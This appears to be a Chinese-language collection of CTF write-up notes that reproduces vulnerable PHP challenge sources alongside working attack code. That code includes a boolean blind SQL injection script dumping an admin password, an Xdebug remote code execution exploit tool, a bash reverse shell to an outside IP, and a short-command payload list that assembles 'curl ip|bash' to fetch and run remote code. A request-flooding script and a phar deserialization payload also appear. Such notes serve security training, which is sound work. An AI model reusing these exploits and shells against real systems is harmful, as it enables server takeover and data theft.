waf($_GET);
waf($_POST);
function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}
// 這裏有個特別的東西
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val"); // 設置系統變量
}
}
$page = '';
if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}
if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}
function render_default() { ?>
<?php foreach($pages as list($file, $title)): ?>
<li class="nav-item">
<a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
</li>
<?php endforeach; ?>
<div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
</body>
</html>
<?php
function render() {
$cmd = '';
if(isset($_GET['cmd'])) {
$cmd = (string)$_GET['cmd'];
}
?>
<h1>Command Execution</h1>
<?php
echo '<ul>';
$cmds = ['ls', 'env'];
foreach($cmds as $c) {
printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s<L2E'
# ls
<?php
function render() {
$file = '.';
if(isset($_GET['file'])) {
$file = (string)$_GET['file'];
}
$dirs = ['.', '..', '../..', '/etc/passwd'];
foreach($dirs as $dir) {
printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
}
printf('<h2>$ ls %s</h2>', htmlentities($file));
execute(sprintf('ls -l %s', escapeshellarg($file)));
}
?>
# untar
<?php
function render() {
?>
<?php
if(isset($_FILES['tarfile'])) {
printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name']));
execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name'])));
}
}
?>
# man
<?php
function render() {
$file = 'man';
if(isset($_GET['file'])) {
$file = (string)$_GET['file'];
if(preg_match('/^[\w\-]+$/', $file) !== 1) {
echo '<pre>Invalid file name!</pre>';
return;
}
}
$cmds = ['bash', 'ls', 'cp', 'mv'];
foreach($cmds as $cmd) {
printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
}
printf('<h2>$ man %s</h2>', htmlentities($file));
execute(sprintf('man %s | cat', escapeshellarg($file)));
}
?>
# cmd
<?php
function render() {
$cmd = '';
if(isset($_GET['cmd'])) {
$cmd = (string)$_GET['cmd'];
}
?>
<h1>Command Execution</h1>
<?php
echo '<ul>';
$cmds = ['ls', 'env'];
foreach($cmds as $c) {
printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c);
}
?>
<script>cmd.focus();</script>
<?php
if(strlen($cmd) > 0) {
printf('<h2>$ %s</h2>', htmlentities($cmd));
switch ($cmd) {
case 'env':
case 'ls':
case 'ls -l':
case 'ls -al':
execute($cmd);
break;
case 'cat flag':
echo '<img src="cat-flag.png" alt="cat flag">';
break;
default:
printf('%s: command not found', htmlentities($cmd));
}
}
}
?>
putenv ( string $setting ) : bool
添加 setting 到服務器環境變量,環境變量僅存活於當前請求期間,在請求結束時環境會恢復到初始狀態。
2018-RCTF r-cursive
<?php
sha1($_SERVER['REMOTE_ADDR']) === 'f6e5575f93a408c5cb709c73eaa822cb09b4d0f7' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
這個繞過有點牛逼:curl "http://xxxx.sandbox.r-cursive.ml:1337/?cmd=eval(next(getallheaders()));" -H "User-Agent: phpinfo();" -H "Accept: asdasd/asdasda"
(PHP 4 >= 4.0.4, PHP 5, PHP 7)
nginx
get_defined_vars() — 返回由全部已定義變量所組成的數組
apache
getallheaders()
SKCTF login3
hint: 基於布爾的SQL盲注
過濾了:空格 * 經常使用空格符 + ; union and = ,
database() length=8
'#
import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
re = requests.session()
url = 'http://123.206.31.85:49167/index.php'
def database():
res = ''
for i in range(1,9):
for j in str_all:
exp = "admin'^(ascii(mid(database()from({})))<>{})#".format(i, ord(j))
data = {
'username': exp,
'password': 3242
}
html = re.post(url=url, data=data).text
#print(data)
if 'error' in html:
res += j
print(res)
break
# blindsql
# username=admin'^(select(0)from(admin))#&password=fgasrd
def password():
res = ''
for i in range(1,39):
for j in str_all:
exp = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})#".format(i, ord(j))
# where(username='admin')
data = {
'username': exp,
'password': 3242
}
html = re.post(url=url, data=data).text
#print(data)
if 'error' in html:
res += j
print(res)
break
# 51b7a76d51e70b419f60d3473fb6f900
password()
安恆杯 9月賽 web2
頗有意思的一個題,須要極限利用
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
2019 TCTF lfsr
https://fireshellsecurity.team/0ctf-zer0lfsr/
https://hxp.io/blog/49/0CTF-Quals-2019-zer0lfsr-writeup/
from secret import init1,init2,init3,FLAG
import hashlib
assert(FLAG=="flag{"+hashlib.sha256(init1+init2+init3).hexdigest()+"}")
class lfsr():
def __init__(self, init, mask, length):
self.init = init
self.mask = mask
self.lengthmask = 2**(length+1)-1 # 48 個 1
def next(self):
# 超過 48 位了,每次扔掉最高位
nextdata = (self.init << 1) #& self.lengthmask # 48 個 1
i = self.init & self.mask #& self.lengthmask
output = 0
while i != 0:
output ^= (i & 1) # 最低位
i = i >> 1
# 奇數個 1,output 就是 1,不然是 0
# 1/3 => 1 2/3 => 0
nextdata ^= output
# init & mask 奇數個 1 nextdata 最低位變 0,偶數就不變
self.init = nextdata
return output
def combine(x1,x2,x3):
return (x1*x2)^(x2*x3)^(x1*x3)
# (x1 & x2) ^ (x2 & x3) ^ (x1 & x3)
"""
機率都是 75%
(0, 0, 0, 0)
(0, 0, 1, 0)
(0, 1, 0, 0)
(0, 1, 1, 1)
(1, 0, 0, 0)
(1, 0, 1, 1)
(1, 1, 0, 1)
(1, 1, 1, 1)
"""
init1 = 0b11101010111100111001001000111101010101100101100000001
init2 = 0b11011000111000100011011011011010000000110101111000100
init3 = 0b11101101011000011100101111100000100000011111011011001
if __name__=="__main__":
# bytes類型的變量,轉化爲十進制整數
l1 = lfsr(int.from_bytes(init1,"big"),0b100000000000000000000000010000000000000000000000,48)
l2 = lfsr(int.from_bytes(init2,"big"),0b100000000000000000000000000000000010000000000000,48)
l3 = lfsr(int.from_bytes(init3,"big"),0b100000100000000000000000000000000000000000000000,48)
with open("keystream","wb") as f:
for i in range(8192):
b = 0
for j in range(8):
b = (b<<1)+combine(l1.next(),l2.next(),l3.next())
# 逆過來就是 bin(ord(b.decode())),其中每個序列都是 combine
f.write(chr(b).encode())
還給了一個 keystream,由於 encode(),因此不是最初的結果,須要在處理一下
barr = b''
with open('keystream','rb') as f:
data = f.read()
i = 0
while i < len(data):
if data[i] == 194 or data[i] == 195:
barr += bytes([ord(bytes([data[i], data[i+1]]).decode())])
i += 1
else:
barr += bytes([ord(bytes([data[i]]).decode())])
i += 1
with open('decoded-keystream', 'wb') as f:
f.write(barr)
別人都是 z3 爆破,太惋惜了
2019 TCTF ghostpepper
jolokia karaf
Java web api 泄露
https://blog.csdn.net/cyl_cheng_1996/article/details/75715548
https://www.jianshu.com/p/bfc5a8e73ca9
https://momomoxiaoxi.com/2019/03/26/tctf2019/
https://www.anquanke.com/post/id/103016
https://jolokia.org/reference/html/protocol.html#list
https://karaf.apache.org/manual/latest/#_quick_start
2019 TCTF WallbreakerEasy
直接給了一個 eval 後門,目標是命令執行 ./readflag
2015 RCTF weeeeeb3
這個題是一個邏輯漏洞,還挺好玩的,修改密碼的時候只驗證了信息填寫是否正確,可是改密碼的帳戶未驗證與前面是否一致。
從而能夠更改管理員密碼,過了第一個驗證以後,直接抓包將用戶名改成 admin,登陸後發現是文件上傳,接着僞造 ip,文件上傳,
又要用 <script language="php"></script> + php4 等繞過
XCTF 4th-WHCTF-2017 Emmm
題目:/flag.txt
一上來就是文件泄露,看到一個 phpinfo.php,掃了一波,沒其餘東西了
結合題乾的 flag.txt,文件包含?
未開啓 open_basedir
根目錄 /app
nginx/1.10.3
disable_functions:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority
注意到 xdebug.remote_connect_back=1 開了遠程調試 參考 https://paper.seebug.org/397/
注意監聽 9000 端口,這是 phpstorm 默認的端口,不能瞎改,不然接收不到
➜ ~ curl "http://111.198.29.45:30372/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For:47.101.220.241"➜ ~ curl "http://111.198.29.45:30372/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For:47.101.220.241"
到 vps 上進行監聽
➜ ~ nc -lvv 9000
Listening on [0.0.0.0] (family 0, port 9000)
Connection from 111.198.29.45 18656 received!
499<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///app/phpinfo.php" language="PHP" xdebug:language_version="7.0.22-0ubuntu0.16.04.1" protocol_version="1.0" appid="9" idekey="phpstrom"><engine version="2.6.0-dev"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>
成功
將該代碼運行到 vps 上,而後再用上面的 curl 語句觸發一下
#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
bash -i >& /dev/tcp/47.101.220.241/8888 0>&1
system("curl 47.101.220.241:8888")
垃圾環境,彈shell一直失敗
>> system("cat /flag.txt")
304<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="38"
encoding="base64"><![CDATA[eGN0ZnswYzhjMDcxY2YzMTE4YTBjMjg5MGU0N2UyZDA0ZTQ2Nn0=]]></property></response>
解碼即得flag,不須要 nc 另外監聽
這篇文章靠譜點:https://blog.spoock.com/2017/09/19/xdebug-attack-surface/
不過的確能夠直接看到返回的數據,用不着繞一圈彈shell,拿flag更重要
來自 p 牛的腳本
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor
pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
def recv_xml(sock):
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break
while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]
if len(blocks) >= 4:
break
return blocks[3]
def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
args = parser.parse_args()
ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)
sk.bind(ip_port)
sk.listen(5)
pool.submit(trigger, args.target)
conn, addr = sk.accept()
conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))
data = recv_xml(conn)
print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
print('[-] No result...')
sys.exit(0)
data = g.group(1)
try:
print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:
print('[-] May be not string result...')
HITCON-2017 BabyFirst_Revenge
只能說終於碰到橘子這一題了,極限彈 shell
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
最大的限制在於這個長度不超過5
exec 不像 system,不會直接輸出命令執行結果
嘗試在vps上提供一個腳本文件,而後下載,再解析
參考這篇文章,這有個相似的題目,長度限制在7
#coding:utf-8
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl vps_ip|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
'>241\\',
'>0.\\',
'>22\\',
'>1.\\',
'>10\\',
'>47.\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh _',
'sh g',
]
r = requests.get('http://111.198.29.45:30213/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://111.198.29.45:30213/?cmd=' + quote(i) )
print i
sleep(0.2)
最終的腳本如上,本地成功後直接打過去仍是接收不到shell,實在不行換了個端口,從新打一遍,終於成功了
血的教訓:若是接收不到,必定要注意,端口是否被佔用!
netstat -anl | grep 8008
這還有個版本 v2,長度限制到 4,另外 py 腳本反彈shell不太靠譜,最好用bash
2017 hitcon ctf master
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
// 猜想執行 FLAG() 出 flag
class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
// 難道要爆破?
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
die("Bye");
}
if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
die("Bye Bye");
}
// 反序列化點,但沒法更改 session 的值
$data = unserialize($data);
if (!isset($data->avatar)) {
die("Bye Bye Bye");
}
return $data->avatar;
}
function upload($path) {
// vps 準備好 phar 文件
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
// 這兩個函數都將形成反序列化
if (!file_exists($path . "/avatar.gif")) {
$path = "/var/www/html";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload") {
upload(check_session());
} else if ($mode == "show") {
show(check_session());
} else {
highlight_file(__FILE__);
}
思路變爲,先上傳一個 phar 文件,而後調用相關文件操做函數,形成反序列化
惋惜僅僅反序列化,是不行的,還須要調用 flag(),eval 裏的函數名又是隨機值,爆破個毛線
這裏有了一個新的知識點,匿名函數其實還有另外一個名字 \x00lambda_%d
zend_builtin_functions.c
do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
// 作個簡單實驗
<?php
create_function("", 'echo __FUNCTION__;');
call_user_func("\x00lambda_1", 1);
其中 %d 會一直遞增,表明着這是該進程裏的第幾個匿名函數,那麼這裏即便不知道函數名,也能夠這樣調用了,不知道第幾個匿名函數也能夠爆破
橘子師傅給的方法是向 Apache 發送大量請求,使得 Apache 開啓新的進程來處理請求,那麼咱們就能夠直接 \x00lambda_1() 就能夠拿到 flag
Apache-prefork模型(默認)
在接受請求後會如何處理,首先Apache會默認生成5個child server去等待用戶鏈接, 默認最高可生成256個child server,
這時候若是用戶大量請求, Apache就會在處理完MaxRequestsPerChild個tcp鏈接後kill掉這個進程,開啓一個新進程處理請求。
# coding: UTF-8
# Author: orange@chroot.org
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = '117.50.3.97'
PORT = 8005
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost: 54.238.212.199\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
http://117.50.3.97:8005/?m=upload&url=phar:///var/www/data/10ca93deca3a77b681f68dd0e46647ec&lucky=%00lambda_1
若是不能以 phar 開頭,還能夠加其餘的協議 https://blog.zsxsoft.com/post/38
compress.bzip2://phar://
compress.zlib://phar://
2017 hitcon ctf ssrf me
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
// GET 有大洞
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
2017 hitcon ctf ssrf me
2018 hitcon one line php challenge
<?php
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
2019 DDCTF
php://filter/read=convert.base64-encode/resource=index.php
php%3a%2f%2ffilter%2fread%3dconvert.base64%2dencode%2fresource%3dindex.php
PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo=
wireshark
172.25 是本身, 110 是網站
2019 CISCN justsoso
php 引用,配合反序列化
2019 CISCN love math
<?php
error_reporting(0);
//據說你很喜歡數學,不知道你是否愛它賽過愛flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太長了不會算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請不要輸入奇奇怪怪的字符");
}
}
//經常使用數學函數http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請不要輸入奇奇怪怪的函數");
}
}
//幫你算出答案
eval('echo '.$content.';');
}
2019 CISCN RefSpace
get 新姿式,反射
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
echo "Please provide access key<br \>";
echo '$_GET["key"];';
exit();
}
$flag = $sdk->verify($key);
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}
2019 CISCN 全宇宙最簡單的 sql
根據執行報錯/執行成功但登陸失敗兩種回顯狀態不一樣,構造注入語句,相似於布爾盲注。
1
來源未知,文件包含到 mysql 讀文件
來自安全客分享 https://www.anquanke.com/post/id/173039
<?php
define(ROBOTS, 0);
error_reporting(0);
if(empty($_GET["action"])) {
show_source(__FILE__);
} else {
include $_GET["action"].".php";
}
<?php
if (!defined("ROBOTS")) {die("Access Denied");}
echo "Congratulate hack to here, But flag in /var/www/flag.flag";
<?php
if(file_exists("./install.lock")) {
die("Have installed!");
}
$host = $_REQUEST['host'];
$user = $_REQUEST['user'];
$passwd = $_REQUEST['passwd'];
$database = $_REQUEST['database'];
if(!empty($host) && !empty($user) && !empty($passwd) && !empty($database)) {
$conn = new mysqli($host, $user, $passwd);
if($conn->connect_error) {
die($conn->connect_error);
} else {
$conn->query("DROP DATABASE ".$database);
$conn->query("CREATE DATABASE ".$database);
//To be continued
mysqli_close($conn);
$config = "<?phpn$config=";
$config .= var_export(array("host"=>$host, "user"=>$user, "passwd"=>$passwd), TRUE).";";
file_put_contents(md5($_SERVER["REMOTE_ADDR"])."/config.php", $config);
}
}
http://ctf473831530.yulige.top:12345/
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>javascript